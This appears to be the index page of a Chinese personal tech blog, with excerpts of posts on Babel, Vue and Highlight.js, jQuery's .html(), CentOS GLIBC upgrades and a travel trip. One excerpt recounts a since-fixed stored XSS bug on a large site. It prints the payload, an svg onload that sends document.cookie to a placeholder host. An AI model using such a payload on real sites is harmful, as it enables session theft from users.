天天の記事簿

一個 蘿莉控 技術宅的世界

03/5
17:36

Node.js神器之babel-preset-env

Babel 是每个 Node.js 的使用者都会使用的一个代码转(bian)换(yi)器,它可以把 ES6ES7 等语法转换成 ES5 的语法,使其能在更多环境下运行。

但是随着浏览器和 Node.js 的版本迭代,他们对新语法的支持也越来越好。但是非常尴尬的是,我们总是使用 Babel 把所有代码一股脑转换成 ES5。这意味着我们抛弃了性能优秀的 letconst 关键字,放弃了简短的代码,而选择了又长又丑像坨屎的经过变换后的代码。

即使仅仅将代码跑在对 ES5 支持度在 99%Node 6,一旦使用了 import 关键字,你就得用 Babel 对代码进行转换,一般还是全部转换为 ES5,辣鸡 Node.js 竟然还不支持 importexport

 

那有没有什么工具能智能识别当前运行环境,并且进行适当的转换,以及填充适当的 polyfill 呢?

Read More →

02/23
01:01

那些年,我们一起做过的项目

来杭州也有那么几天了,面试也有那么些,面试过程中发现大部分公司在社招时对在大学写的项目都不感冒,觉得都是小孩儿写着玩的,看来对大学的项目都有很深的怨念啊。哈,也能接受,毕竟大学也就这样了。

不过对我这样的大学项目都是实打实的非学校项目的人来说,确实有些不利= =

 

其实最关键的是,大学写的项目都因为各种原因,没法开源,而且上过线的没上过线的项目也都没有可访问的网址了,相当于是死无对证,全凭我一张嘴胡说八道…

设身处地地想想,要是我是面试官,我肯定会对这个人的真实项目经验有怀疑,于是这篇博客就展示一点我说的是事实的凭证,也当是对我大学时代写过的大大小(da)小(da)的一些项目的一个总结。

Read More →

02/7
00:17

手动下载Windows Defender离线更新包

我知道的,这个问题在谷歌上随便一搜就有一大坨结果,但是我还是打算发一篇博客。

为什么会这样呢?..【打死 ( ̄ε(# ̄) Σ

啊我死了 _(:3」∠)_

 

这个问题很奇葩,因为不管是我的新(jiu)电脑还是我的笔记本,都无法进行 Windows Update。你要说是我网络问题,OK,我都爬墙了,韩国梯子,速度嗖嗖的,依然没有任何更新的网络流量。

你们说吧,作为一个裸奔用户,至少也得让 Windows Defender 来挡下小〇〇吧,衣服可以不穿,树叶总得来一片啊。没办法,只好到巨硬网站上手动下载了。

地址:https://www.microsoft.com/security/portal/definitions/adl.aspx

累积更新包,M$ 还真良心,你咋不把你的 Windows Update 累积下?

嗯,我只是来吐槽的..

02/4
15:30

Vue使用Highlight.js高亮代码

技术博客里,最常见的就是代码了,没有语法高亮的代码,简直没法看下去。

常用的语法高亮 JS 库有 Highlight.jsPrismSyntaxHighlighter 等等,它们的主要工作原理就是搜索 document 中的 <pre><code> 标签,再对其中内容进行正则匹配,识别出使用的语言并为某些内容添加 class,最后根据 CSS 渲染样式。

 

问题

最近在写一个博客应用(开发中),语法高亮交给前端完成,这里我选择了 Highlight.js 作为语法高亮插件。

因为做的是单页应用,前端框架使用的是 Vue,用 Webpack 作为脚手架,所以很自然地 npm i -S highlight.js 安装,之后把 hljs.initHighlightingOnLoad(); 添加到代码里…

欸?为什么明明 hljs 已经注册为全局变量了,但是高亮不工作?是不是我的姿势不对?

Read More →

08/29
21:30

jQuery中.html()的工作原理

上篇文章《html() 和 innerHTML 的小坑》我们分析了原生 JavaScript 的 element.innerHTMLjQuery 与 zepto.js 的 element.html() 两种方法在处理包含 <script> 标签的字符串时的异同。

本着知其然知其所以然的态度,我们这次从源码分析一下 element.html() 的工作原理,为什么 innerHTML 不能使其中的脚本执行,而 jQuery 的 html() 却可以,而 zepto.js 的只能执行内联脚本却不能加载外部脚本。

 

我们使用 jQuery 3.1.0 和 Zepto.js 1.2.0 的源码进行分析

jQuery Github

Zepto.js Github

Read More →

08/27
22:46

html()和innerHTML的小坑

jQuery 是最常用的一个 JavaScript 库,其中的 element.html() 是一个将 HTML 代码插入某元素的方法,而 element.innerHTML 是 JavaScript 原生的插入方法。

以前,因为没有使用的需求,所以一直单纯地认为 jQuery 的 element.html() 只是对 element.innerHTML 的一个简单封装,但是昨天,发现事情并没有这么简单。

 

老师说过,写文章要有起因、经过、结果,所以先说说故事起因。

 

起因

小伙伴在某企鹅网站上发现一个存储型 XSS 漏洞,因为他对前端不了解,所以叫我来帮忙绕过滤。该页面不仅会对输入内容进行过滤,并且有最高 50 字符的字数限制,虽然没有了解到完整的过滤规则,但是经过简单的测试发现过滤比较鸡肋,连 <script> 标签都能成功插入。但是比较坑的是,每个企鹅账号仅能提交 15 条信息,所以无法进行大量尝试。

页面不是加载完成后就能直接触发 XSS 漏洞的,而是点击评论按钮后,页面通过 Ajax 请求评论信息并插入 DOM,若评论信息中包含 XSS 代码,才会最终触发。

提交漏洞后企鹅快速响应,现在洞已经补上了,就公布一下当时可以利用的代码。

<svg/onload="window.location.href='http://xss.domain/?id='+document.cookie">

 

嗯,后面的内容其实和日站没啥关系了,都是对 element.innerHTMLhtml() 进行的测试对比。

Read More →

08/10
11:42

CentOS 6.X使用RPM包升级GLIBC

之前一段时间经常被 “libc.so.6: version `GLIBC_2.14′ not found” 这个报错信息折腾,出现这个报错的原因就是当前系统安装的 GLIBC 版本低于软件编译时使用的 GLIBC 版本。

 

这也是 CentOS 非常不适合折腾的原因之一,一些软件经常用到的底层 API 或编译器版本都非常低。

CentOS 7.X 倒还好,GLIBC Version 2.17,GCC Version 4.8.5,基本满足需要,但是 CentOS 6.X 的 GLIBC Version 2.12,GCC Version 4.4.7,基本不满足需求…

看看别人家的坂本,比你不知道要高到哪里去了

 

由于一直使用 CentOS 6.X 系统,以前一出问题就直接编译源码,想想其实挺麻烦的。现在就打算直接使用 RPM 包升级,方便快捷,只是比源码编译自由度低些,这里把具体方法及链接记下来,以作备忘。

Read More →

08/6
19:18

贵州之行的感悟(多图)

单位放了年休假,加上两个周末竟然有个九天的长假,想想天天呆在家也就艹艹猫,上(lu)上(lu)网(guan),这样对身体很不好,营养会跟不上,于是决定陪妈妈去贵州玩一圈。

像我这么孝顺还会跟妈妈出去玩的好男人是不是很稀有了?妹纸们快到怀里来~

 

行动路线

玩了大概有六天(屁,实际就三天,两天在火车上,一天在巴士上…),去了贵阳小七孔景区西江千户苗寨黄果树瀑布这么几个比较大的景点。非常正统的旅行社路线,说是去玩,更多意义上是陪妈妈。

然而走之前一天我竟然发烧…晚上赶紧跑社区吊了两瓶盐水,第二天早上又吊了两瓶,出发前 15 分钟还在打吊针…也够悲催的,然后后面就好了,也算是万幸。

陡坡谭瀑布——83版西游记在此取景
陡坡谭瀑布——83版西游记在此取景

 

贵州印象

先说说天气

这次去的这几天可以算是贵州最热的几天,温度高达 33 – 36 摄氏度,这对贵州人是无法忍的,要知道平常温度只有 30 ℃ 不到。当然,作为一个在火炉中历练过二十多年的人来说,不到 40 度都是小义西啦~

而且贵州是这样的,站在太阳下,热,站在树荫下,好凉快,和火炉城市就是不一样。

最后回来的那天,冷…20 度出头的温度,冷死辣ヽ(`Д´)ノ

Read More →

07/27
21:40

JavaScript监听全部Ajax请求的事件

最近博主在做一个小项目,引入了第三方 js 文件,这个文件会调用 XMLHttpRequest 向服务器发送 Ajax 请求,但是我有需要监听其 Ajax 请求的某些事件,以便额外地执行其他脚本。于是,稍微看了看监听 Ajax 请求的事件方法,在这里分享给大家。

 

若 Ajax 请求是由 jQuery 的 $.ajax 发起的,默认情况下可以使用 jQuery 的 Global Ajax Event Handlers 监听到 Ajax 事件,然而我遇到的却是用原生 JavaScript 发起的 Ajax 请求,所以这种方法行不通。

然后呢,还有其他方法,比如说 Pub/Sub,也就是 https://github.com/cowboy/jquery-tiny-pubsub 这个 jQuery 插件,但是这个发起请求的 js 代码我是无法改动的,也就不存在向代码里添加 publish 的问题。同理,jQuery 的 .bind.trigger 也无法使用。

最后,决定使用直接 override XMLHttpRequest,同时配合使用自定义事件。

Read More →